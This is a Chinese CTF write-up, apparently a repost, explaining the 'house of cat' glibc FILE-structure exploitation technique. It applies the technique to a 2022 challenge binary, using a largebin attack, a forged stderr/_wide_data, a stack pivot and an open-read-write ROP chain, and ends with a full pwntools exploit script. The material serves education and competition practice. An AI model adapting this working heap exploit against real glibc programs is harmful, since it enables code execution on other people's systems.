house of cat 心得体会
2023-3-25 17:10:0 Author: xz.aliyun.com(查看原文) 阅读量:15 收藏

适用版本:

glibc 2.23 -- 至今

利用条件:

  • 可以进行一次任意地址写堆地址
  • 可以触发 IO 流操作

攻击方法:

  • 劫持stderr指针为我们构造的fake_IO_FILE(伪造好stderr和_wide_data结构体)
  • 触发 IO 流操作

源码分析:

触发__malloc_assert​后会有这样一条调用链:

__malloc_assert -> __fxprintf -> __vfxprintf->locked_vfxprintf -> __vfprintf_internal -> _IO_file_xsputn

其中_IO_file_xsputn​是通过vtable​ 处的指针来调用,且在_IO_file_jumps​中_IO_file_xsputn​函数和_IO_wfile_seekoff​相差0x10大小

我们通过劫持 _IO_2_1_stderr​ 结构体,并将 vtable​ 处的指针改为_IO_wfile_seekoff​,来执行我们想要的链:

_IO_wfile_seekoff -> _IO_switch_to_wget_mode​->_IO_WOVERFLOW

//_IO_wfile_seekoff函数源码

off64_t
_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode)
{
  off64_t result;
  off64_t delta, new_offset;
  long int count;

  if (mode == 0)
    return do_ftell_wide (fp);
  int must_be_exact = ((fp->_wide_data->_IO_read_base
            == fp->_wide_data->_IO_read_end)
               && (fp->_wide_data->_IO_write_base
               == fp->_wide_data->_IO_write_ptr));

  bool was_writing = ((fp->_wide_data->_IO_write_ptr
               > fp->_wide_data->_IO_write_base)
              || _IO_in_put_mode (fp));

  if (was_writing && _IO_switch_to_wget_mode (fp))
    return WEOF;
......
}

通过 _IO_wfile_seekoff​ 函数来触发 _IO_switch_to_wget_mode​ 函数,进而执行 _IO_switch_to_wget_mode​ 函数再触发宏调用函数_IO_WOVERFLOW

//_IO_switch_to_wget_mode 函数源码

_IO_switch_to_wget_mode (FILE *fp)
{
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)
      return EOF;
......
}

若满足 fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base​ 这个条件,_IO_WOVERFLOW​ 函数会通过跳转到_wide_vtable​ 中的函数指针

我们可以通过控制_wide_vtable​处的指针,来劫持程序的执行流

若未开沙箱,则可直接劫持_wide_vtable​为one_gadget

若execve函数被禁,则可通过magic_gadget和leave_ret构造栈迁移,来完全控制程序流执行rop链,详细可以在CTF 中 glibc堆利用 及 IO_FILE 总结 学习

magic_gadget:

<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]

<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]

<svcudp_reply+34>: lea r13,[rbp+0x10]

<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0

<svcudp_reply+45>: mov rdi,r13

<svcudp_reply+48>: call QWORD PTR [rax+0x28]

例题2022挑战杯 house of cat

保护全开,开了沙箱

程序分析:

限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节

存在UAF漏洞,限制泄露数据最大大小为0x30字节

题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述

由于开了沙箱的缘故,我们需要构造orw来读取flag。此外,送入orw前还需要构造close(0),将标准输入关闭掉,这样再次read的时候flag文件描述符就将是0,则可以正常read flag文件

利用详解:
  • 首先是泄露libc地址和heap地址
  • 伪造好stderr和_wide_data结构体
  • largebin attack攻击stderr指针
  • 修改top_chunk大小并触发IO调用
  • 进入 house of cat 的调用链,通过_wide_data->vtable跳转到提前布置好的地址进行栈迁移
  • 栈迁移后便已完全控制程序流,跳转执行rop链

首先看一下我们要伪造的两个结构体stderr和_IO_wide_data伪造前的样子

stderr

p *(struct _IO_FILE_plus*) stderr
pwndbg> p _IO_2_1_stderr_
$1 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_read_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_read_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_write_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_write_ptr = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_write_end = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_buf_base = 0x7ff44001a723 <_IO_2_1_stderr_+131> "",
    _IO_buf_end = 0x7ff44001a724 <_IO_2_1_stderr_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ff44001a780 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "",
    _lock = 0x7ff44001ba60 <_IO_stdfile_2_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ff4400198a0 <_IO_wide_data_2>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = 0,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ff440016600 <_IO_file_jumps>
}

_IO_wide_data

p *(struct _IO_wide_data*) 0x555555554000
#0x555555554000为heap基地址
pwndbg> p *(struct _IO_wide_data*) 0x558944aed000
$2 = {
  _IO_read_ptr = 0x10102464c457f <error: Cannot access memory at address 0x10102464c457f>,
  _IO_read_end = 0x0,
  _IO_read_base = 0x1003e0003 <error: Cannot access memory at address 0x1003e0003>,
  _IO_write_base = 0x11f0 <error: Cannot access memory at address 0x11f0>,
  _IO_write_ptr = 0x40 <error: Cannot access memory at address 0x40>,
  _IO_write_end = 0x3148 <error: Cannot access memory at address 0x3148>,
  _IO_buf_base = 0x38004000000000 <error: Cannot access memory at address 0x38004000000000>,
  _IO_buf_end = 0x1c001d0040000d <error: Cannot access memory at address 0x1c001d0040000d>,
  _IO_save_base = 0x400000006 <error: Cannot access memory at address 0x400000006>,
  _IO_backup_base = 0x40 <error: Cannot access memory at address 0x40>,
  _IO_save_end = 0x40 <error: Cannot access memory at address 0x40>,
  _IO_state = {
    __count = 64,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 728,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x2d8,
      step_data = {
        __outbuf = 0x8 <error: Cannot access memory at address 0x8>,
        __outbufend = 0x400000003 <error: Cannot access memory at address 0x400000003>,
        __flags = 792,
        __invocation_counter = 0,
        __internal_use = 792,
        __statep = 0x318,
        __state = {
          __count = 28,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x1c,
      step_data = {
        __outbuf = 0x1 <error: Cannot access memory at address 0x1>,
        __outbufend = 0x400000001 <error: Cannot access memory at address 0x400000001>,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 2512,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"\x9d0",
  _wide_vtable = 0x1000
}

获取libc基址和heap基址
add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))

heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li('heap_base = '+hex(heap_base))

largebin attack攻击stderr指针
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0x1180+0x30) 
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0)
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#fake_file+=

add(0,0x428,fake_file)

pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104  main_arena+1104
#IO_list_all      stderr-0x20

delete(1) #ub
add(3,0x440,b'c') #attack

​​

修改top_chunk大小并触发IO调用
add(4,0x418,b'd') #r chunk1

freed

chunk 15

chunk 4

chunk 2

chunk 3

pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30  main_arena+1120
#chunk9+0x30  &TopChunk_Size+3 -0x20

delete(8) #ub

delete(14) 
add(10,0x450,b'a') #attack

模板详解:
part 1
#print('==============================================part 1
chunk0 = heap_base+0xfc0
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(chunk0+0x1c0+0x30)
#_IO_save_base -- _IO_2_1_stderr_+72
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(chunk0+0xe0) #wide_data start
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable
fake_file+=wide_data

构造后的stderr,我们将_IO_save_base改为chunk0+0x1c0+0x30

将_wide_data地址改为我们送入chunk0中的payload中wide_data这部分的地址,以进行_wide_data结构体的构造

pwndbg> p *stderr
$3 = {
  _flags = 0,
  _IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
  _IO_read_end = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177",
  _IO_read_base = 0x7f0cbec1a0d0 <main_arena+1104> "\300\240\301\276\f\177",
  _IO_write_base = 0x7f0cbec1a680 <_IO_list_all> "\240\246\301\276\f\177",
  _IO_write_ptr = 0x7f0cbec1a840 <_IO_2_1_stdout_+192> "",
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x559ea0e1c1b0 <incomplete sequence \336>,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0,
  _flags2 = 0,
  _old_offset = 0,
  _cur_column = 0,
  _vtable_offset = 0 '\000',
  _shortbuf = "",
  _lock = 0x7f0cbec1ba60 <_IO_stdfile_2_lock>,
  _offset = 0,
  _codecvt = 0x0,
  _wide_data = 0x559ea0e1c0a0,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0,
  _mode = 0,
  _unused2 = '\000' <repeats 19 times>
}

part 2
#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00' #_statep  #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot

看下面我们构造后的_IO_wide_data

_wide_vtable被我们修改为了chunk0+0x1b0

​​​​​​

这里的0x000055f6c4a410a0就是我们送入chunk0中的payload中的wide_data这部分的地址(chunk0+0xe0)

pwndbg> p *(struct _IO_wide_data*) 0x000055f6c4a410a0
$4 = {
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _IO_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _IO_last_state = {
    __count = 0,
    __value = {
      __wch = 0,
      __wchb = "\000\000\000"
    }
  },
  _codecvt = {
    __cd_in = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x0,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    },
    __cd_out = {
      step = 0x0,
      step_data = {
        __outbuf = 0x0,
        __outbufend = 0x0,
        __flags = 0,
        __invocation_counter = 0,
        __internal_use = 0,
        __statep = 0x67616c66,
        __state = {
          __count = 0,
          __value = {
            __wch = 0,
            __wchb = "\000\000\000"
          }
        }
      }
    }
  },
  _shortbuf = L"",
  _wide_vtable = 0x55f6c4a41170
}

stderr中储存的chunk0的值会作为rdi送入_IO_wfile_seekoff和_IO_switch_to_wget_mode

经过一系列赋值后,我们会执行到chunk0+0xa0+0xe0+0x18地址处,即我们的magic_gadget处

执行 _IO_WOVERFLOW劫持程序流到magic_gadget

part 3
#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop

我们将rbp赋值为chunk0+0x48(-->chunk0+0x1b0)

而下面会执行到chunk0+0x48 +0x18 + 0x28地址处(即leave_ret处)

栈迁移

自此,我们完全控制了程序流

part 4
#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)

#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)

#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)

要注意的一点是由于我们part3的构造,所以我们还要进行add rsp,0x18的调整以执行到rop

成功获取flag

触发流程:

calloc

_int_malloc

sysmalloc

__malloc_assert

​​

__fxprintf

​​

locked_vfxprintf

__vfprintf_internal

_IO_wfile_seekoff

_IO_switch_to_wget_mode

magic_gadget

leave_ret

rop

​​

完整exp:
from pwn import *
p=process('./pwn')
libc=ELF('./libc.so.6')
context.log_level='debug'

s       = lambda data               :p.send(data)
sa      = lambda x, y               :p.sendafter(x, y)
sl      = lambda data               :p.sendline(data)
sla     = lambda x, y               :p.sendlineafter(x, y)
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()


def add(idx,size,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n',str(1))
    sla('plz input your cat idx:\n',str(idx))
    sla('plz input your cat size:\n',str(size))
    sa('plz input your content:\n',cont)
def delete(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(2))
    sla('plz input your cat idx:\n',str(idx))
def show(idx):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(3))
    sla('plz input your cat idx:\n',str(idx))
def edit(idx,cont):
    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')
    sla('plz input your cat choice:\n', str(4))
    sla('plz input your cat idx:\n',str(idx))
    sa('plz input your content:\n', cont)

sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')

add(14,0x450,b'o')
add(13,0x450,b'p')
delete(14)
add(12,0x460,b'n')
show(14)
p.recvuntil('Context:\n')
libc_base=l64()-0x21a0e0#-0x10-libc.sym['__malloc_hook']
li('libc_base = '+hex(libc_base))

heap_base = u64(p.recvuntil("\x55")[-6:].ljust(8,b"\x00"))-0x290
li('heap_base = '+hex(heap_base))

IO_list_all = libc_base+0x21a680

magic_gadget = libc_base+0x16a1fa
'''
<svcudp_reply+26>:    mov    rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>:    mov    rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>:    lea    r13,[rbp+0x10]
<svcudp_reply+38>:    mov    DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>:    mov    rdi,r13
<svcudp_reply+48>:    call   QWORD PTR [rax+0x28]
'''

IO_2_1_stderr = libc_base+0x21a6a0 #_IO_2_1_stderr
stderr = libc_base+0x21a860

IO_wfile_jumps = libc_base+0x2160c0

lock=libc_base+0x21ba60 #_lock

add_rsp_ret=libc_base+0x000000000003a889
leave_ret=libc_base+0x00000000000562ec
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
pop_rax_ret=libc_base+0x0000000000045eb0

syscall=libc_base+0xea5b9
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
close_addr=libc_base+libc.symbols['close']


add(11,0x450,b'm')

#print('==============================================part 4
#close(0)
rop=p64(pop_rdi)
rop+=p64(0)
rop+=p64(close_addr)
#open('flag',0)
flag_addr=heap_base+0x1168
rop+=p64(pop_rdi)
rop+=p64(flag_addr)# 'flag' address
rop+=p64(pop_rsi)
rop+=p64(0)
rop+=p64(pop_rax_ret)
rop+=p64(2)
rop+=p64(syscall)

#read(0,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(0)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(read_addr)

#write(1,heap_base+0xb40,0x50)
rop+=p64(pop_rdi)
rop+=p64(1)
rop+=p64(pop_rsi)
rop+=p64(heap_base+0xb40) #chunk12-0x10
rop+=p64(pop_rdx_r12)
rop+=p64(0x50)
rop+=p64(0)
rop+=p64(write_addr)


#print('==============================================part 3
pivot=p64(magic_gadget) #call rdi+0x88
pivot+=p64(0)*4
pivot+=p64(0xdeadbeef)
pivot+=p64(add_rsp_ret)
pivot+=p64(0xdeadbeef)
pivot+=p64(heap_base+0x1178+0x30) #pivot+=p64(0)*4 4
pivot+=p64(leave_ret)
pivot+=rop

#print('==============================================part 2
wide_data=p64(0)*4+p64(1) #_IO_write_ptr
wide_data+=p64(0)*20
wide_data+=b'flag\x00\x00\x00\x00' #_statep  #flag_addr
wide_data+=p64(0)*2
wide_data+=p64(heap_base+0x1170) #wide_data+=p64(0)*2 1
wide_data+=pivot


#print('==============================================part 1
fake_file=p64(1)*4
fake_file+=p64(0)*3
fake_file+=p64(heap_base+0xfc0+0x1c0+0x30) #chunk0+0x1c0 -> chunk0+0x1b0
#_IO_save_base
fake_file+=p64(0)*7
fake_file+=p64(lock)+p64(0)*2
#_IO_stdfile_2_lock
fake_file+=p64(heap_base+0x10a0) #wide_data
#_wide_data
fake_file+=p64(0)*6
fake_file+=p64(IO_wfile_jumps+0x10)
#vtable --> _IO_wfile_seekoff
fake_file+=wide_data


add(0,0x428,fake_file)
add(15,0x460,'prevent merge chunk')

add(1,0x418,b'a')
delete(0) #ub

add(2,0x460,b'b') #chunk0 -> largebin

pl=p64(libc_base+0x21a0d0)*2+p64(IO_list_all)+p64(stderr-0x20)
edit(0,pl)
#main_arena+1104  main_arena+1104
#IO_list_all      stderr-0x20

delete(1) #ub
add(3,0x440,b'c') #attack


add(4,0x418,b'd') #r chunk1

add(7,0x460,b'g')
add(8,0x430,b'h')
delete(3)
add(9,0x460,b'i') #chunk3 -> largebin

pl=p64(heap_base+0x2e20)+p64(libc_base+0x21a0e0)+p64(heap_base+0x2e20)+p64(heap_base+0x3263-0x20)
edit(3,pl)
#chunk9+0x30  main_arena+1120
#chunk9+0x30  &TopChunk_Size+3 -0x20

delete(8) #ub

delete(14) 
add(10,0x450,b'a') #attack

p.sendafter("mew mew mew~~~~~~\n",'CAT | r00t QWB QWXF$\xff')
p.sendlineafter("plz input your cat choice:\n",str(1))
p.sendlineafter("plz input your cat idx:\n",str(6))
dbg()
p.sendlineafter("plz input your cat size:\n",str(0x46f))



itr()

参考:

House of cat新型glibc中IO利用手法解析 && 第六届强网杯House of cat详解

house of cat -2022强网杯pwn复现 | ZIKH26's Blog

CTF 中 glibc堆利用 及 IO_FILE 总结


文章来源: https://xz.aliyun.com/t/12349
如有侵权请联系:admin#unsafe.sh